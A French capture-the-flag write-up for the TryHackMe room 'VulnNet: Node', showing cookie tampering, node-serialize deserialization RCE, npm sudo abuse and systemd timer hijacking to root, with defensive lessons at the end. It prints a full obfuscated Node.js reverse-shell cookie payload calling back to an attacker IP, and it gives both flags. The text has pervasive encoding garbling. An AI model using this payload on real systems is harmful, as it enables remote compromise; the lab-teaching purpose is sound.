
After the previous breach, VulnNet Entertainment states it won’t happen again. Can you prove they’re wrong?
On part sur une room Ă 2 niveaux :
- Récupération du flag utilisateur
- Récupération du flag root
1- Reconnaissance
Je dĂ©marre, comme Ă mon habitude, par un scan Nmap pour voir ce qu’on peut trouver :

Explications sur la commande :
- -sS : On souhaite faire un TCP SYN (Stealth) scan (ou half open scan car on ne rĂ©alise pas l’intĂ©gralitĂ© du 3-way handshake TCP).
- -A : Aggressive scan options = active la dĂ©tection d’OS (-O) , le scan de version (-sV), utilisation des scripts par dĂ©faut (-sC) et rĂ©alise un traceroute de la cible (–traceroute).
- -Pn : ConsidĂ©rer tous les hĂ´tes comme Ă©tant connectĂ©s (saute l’Ă©tape de dĂ©couverte des hĂ´tes).
- -p- : Scan l’intĂ©gralitĂ© des ports possibles.
- -T4* : Choisit la « politique de temporisation » 4 (la plus rapide étant la 5, par défaut nmap utilise la valeur 3).
- -oA : Sortie dans les trois formats majeurs en mĂŞme temps (normal, XML et grepable).
* Concernant la « politique de temporisation », je choisis volontairement une valeur élevée pour scanner plus rapidement, mais attention à 2 choses :
- Si votre connexion est mauvaise, il risque d’y avoir des retransmissions voire des Ă©checs de communication, donc au final temps rallongĂ© et rĂ©sultat de scan bancal.
- En condition rĂ©elle de pentest plus le scan est « rapide » plus il va avoir de chance d’ĂŞtre vu avec des solutions IDS/IPS (Intrusion Detection/Prevention System) et des pics vont ĂŞtre immĂ©diatement visibles sur un Ă©ventuel SIEM (Security Information and Event Management) donc privilĂ©gier un scan plus « lent ».
On observe que les ports suivants sont ouverts sur la machine cible :
- 22 : OpenSSH 8.2p1 (serveur SSH)
- 8080 : Node.js Express framework (serveur web)
2- Mapping
Je commence par visiter la page web hébergée par le serveur sur le port 8080 :

Pas grand chose à se mettre sous la dent, un bouton pointant vers une page /login/ à part ça rien ne me saute aux yeux, je lance en parallèle une énumération avec ffuf :

Je trouve 3 candidats : /img/, /css/ et /login/, je dĂ©cide de passer Ă la page de login qui me plaĂ®t dĂ©jĂ plus rien qu’au nom.

La page ne donne rien non plus, et en regardant du côté du code source, on comprend pourquoi :

En effet, aucune action n’est associĂ© au bouton « Let me in…« .
Les points d’accès /img/ et /css/ ne rĂ©pondent pas Ă la mĂ©thode GET, je les mets de cĂ´tĂ© pour le moment.
J’ouvre alors mon panel dĂ©veloppeur de Firefox afin de tenter de voir ce que je n’ai pas vu :

Un cookie « session », a priori encodĂ© en base64, est gĂ©nĂ©rĂ© lors de l’accès Ă la page d’accueil, je demande un coup de main Ă CyberChef :

Je remarque que le booléen isGuest est positionné à « true« , je tente alors de générer un nouveau cookie avec le champ à « false » :

De retour sur Firefox, je met Ă jour le cookie et rafraichit la page et j’obtiens … rien de nouveau.
J’ai Ă©galement rĂ©alisĂ© d’autres essais, entre autre en modifiant la valeur de username, mais le seul impact apparent est le nom d’utilisateur qui est modifiĂ© sur la page d’accueil, ce qui m’apprend que les donnĂ©es passĂ©es Ă l’application sont traitĂ©s laissant entrevoir une exploitation peut-ĂŞtre ?
Je tente alors une énumération en prenant en compte le cookie modifié :

Pas mieux avec modification du cookie, je me pose alors pour prendre du recul.
Je tente cette fois de générer un cookie malformé volontairement.

Je supprime simplement l’accolade de fermeture pour voir comment le serveur va gĂ©rer ce cas en mettant Ă jour le cookie, puis en rafraichissant la page :

Bingo ! Une erreur liĂ©e Ă la fonction unserialize est affichĂ©e (ainsi que l’arborescence sur le serveur) je me lance dans des recherches.
Je consulte Chacha pour avoir son avis sur l’erreur obtenue.

Ca semble ĂŞtre une bonne piste, j’approfondi mes recherches et je tombe Ă©galement sur un article de opscex.com justement expliquant comment exploiter la fonction unserialize afin d’obtenir une RCE :

L’article en question fait un lien vers un repo GitHub permettant de gĂ©nĂ©rer un reverse shell NodeJs.
On peut passer Ă la phase d’exploitation !
3- Exploitation
Je commence par gĂ©nĂ©rer un reverse shell avec l’utilitaire python fourni dans l’article :

J’insère le code gĂ©nĂ©rĂ© dans le format donnĂ© par ChaCha :
{« rce »: »_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,51,49,46,50,48,50,34,59,10,80,79,82,84,61,34,52,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}() »}
Je génère ensuite le cookie de session avec CyberChef :

Je modifie de nouveau le cookie avec le rĂ©sultat obtenu avec CyberChef, je lance un listener netcat sur ma machine, et je rafraichis la page et j’obtiens :

Petit tips que j’utilise rĂ©gulièrement dans ce genre de cas oĂą on travaille avec un shell « limité » : si python est installĂ© sur la machine cible, rĂ©aliser l’appel Ă un shell bash via le module pty avec la commande suivante :
python -c ‘import pty; pty.spawn(« /bin/bash »)’
Ca y est nous avons un pied dans la machine ! Par contre après quelques recherches le flag utilisateur se trouve dans le rĂ©pertoire d’un autre utilisateur.
Je commence par regarder si sudo me laisse exĂ©cuter une quelconque en tant qu’un autre utilisateur :

4- Elévation de privilèges #1
On a la possibilitĂ© d’exĂ©cuter la commande npm en tant que serv-manage (ça tombe bien c’est lui qui possède le flag utilisateur).
Reflexe immédiat : allez regarder sur GTFObins.org les possibilités offertes par ce binaire :

Je tente le coup, je me dirige dans le dossier /tmp/ et je crĂ©e tout d’abord un ersatz de fichier de package avec comme instruction de preinstall l’appel d’un shell, puis l’appel Ă la commande npm avec comme paramètres :
- -C : forme abrĂ©gĂ©e de –prefix, permet de choisir le dossier dans lequel on travail
- . : dossier courant, permet de spĂ©cifier que le fichier package.json pour l’installation se trouve dans le rĂ©pertoire courant
- i : forme abrĂ©gĂ©e de install, permet de lancer l’installation d’un paquet npm

MĂŞme optimisation que tout Ă l’heure concernant le shell « amĂ©lioré » via python.
Ce mouvement m’a permis de rĂ©cupĂ©rer le flag utilisateur :

Flag utilisateur :
THM{064640a2f880ce9ed7a54886f1bde821}
Je passe maintenant Ă la recherche (de l’ombre jaune ? non) du flag root !
5- Elévation de privilèges #2
Comme pour l’utilisateur prĂ©cĂ©dent, je commence par regarder mes possibilitĂ©s Ă©ventuelles d’exĂ©cution de commandes en tant que root :

Je vois que la chance (really ?) me sourit Ă nouveau, je peux exĂ©cuter tout ce qu’il faut pour dĂ©marrer / arrĂŞter un timer (vulnnet-auto.timer) ainsi que la commande adĂ©quat pour recharger le dĂ©mon en cas de modification d’un service.
Je jette un œil au timer nommé :

Le timer est assez simple, il exécute le service vulnnet-job.service toutes les 30 minutes.
Ensuite le service en question est tout aussi simple, et exécute la commande /bin/df à chaque appel.
Je regarde les droits que je possède sur les fichiers pour savoir si je peux les altérer :

En tant que serv-manage, je peux lire et écrire ces 2 fichiers, une aubaine !

Voici le détails de mes actions :
- je commence par arrĂŞter le timer (sudo /bin/systemctl stop vulnnet-auto.timer)
- ensuite je modifie le fichier du service afin de lui faire exécuter un reverse shell des bonnes familles
- puis je modifie le service de manière Ă s’exĂ©cuter toutes les 5 secondes (on n’est pas pressĂ©s mais quand mĂŞme 30 minutes c’est long).
Après ces modifications, j’ai rechargĂ© le dĂ©mon (sudo /bin/systemctl daemon-reload), lancĂ© un listener netcat dans un autre terminal, puis dĂ©marrĂ© Ă nouveau le timer (sudo /bin/systemctl start vulnnet-auto.timer).

Plus qu’Ă rĂ©cupĂ©rer le flag root et c’en sera fini de cette machine :

Voici le flag root bien mérité :
THM{abea728f211b105a608a720a37adabf9}
ChaĂ®ne d’attaque

Retour d’expĂ©rience
Une room distrayante, un point de blocage au dĂ©marrage car mĂŞme si j’avais vu le cookie dès le dĂ©but, je n’y avais pas tout de suite prĂŞtĂ© attention ce qui m’a valu de perdre pas mal de temps.
Le challenge est classifiĂ© easy, et en effet, une fois passĂ© mon blocage je n’ai pas eu trop de mal Ă rĂ©coltĂ© les flags.
Petit bĂ©mol concernant la redondance de l’exploitation des autorisations sudo excessives, mais point positif sur le fait que la manière de procĂ©der soit diffĂ©rente.
Conclusion
La room VulnNet: Node illustre parfaitement l’exploitation d’une vulnérabilité de désérialisation côté serveur dans un environnement Node.js, combinée à une mauvaise gestion des privilèges système.
L’attaque débute par une phase de reconnaissance classique (scan des services exposés), mais la véritable faille réside dans la gestion du cookie de session encodé en Base64. L’absence de validation robuste et l’utilisation vulnérable d’un mécanisme de désérialisation permettent une Remote Code Execution (RCE) via injection d’un payload malveillant. Cette étape démontre l’importance critique de ne jamais faire confiance aux données contrôlées par l’utilisateur, même lorsqu’elles sont encodées.
L’exploitation post-compromission met en évidence plusieurs mauvaises pratiques de sécurité :
- Attribution excessive de privilèges sudo (npm exécutable sans mot de passe)
- Mauvaise segmentation des rĂ´les utilisateurs
- Droits d’écriture sur des fichiers systemd critiques
- Absence de contrôle d’intégrité des services automatisés
L’abus combiné de GTFOBins (npm) puis de la configuration systemd timer/service permet une escalade complète jusqu’à root, démontrant qu’un simple accès initial limité peut mener à une compromission totale du système si la configuration interne est faible.
Enseignements clés :
- Ne jamais désérialiser des données non fiables sans mécanisme sécurisé
- Appliquer le principe du moindre privilège strictement (sudoers)
- Restreindre l’accès en écriture aux fichiers systemd
- Auditer régulièrement les services automatisés et timers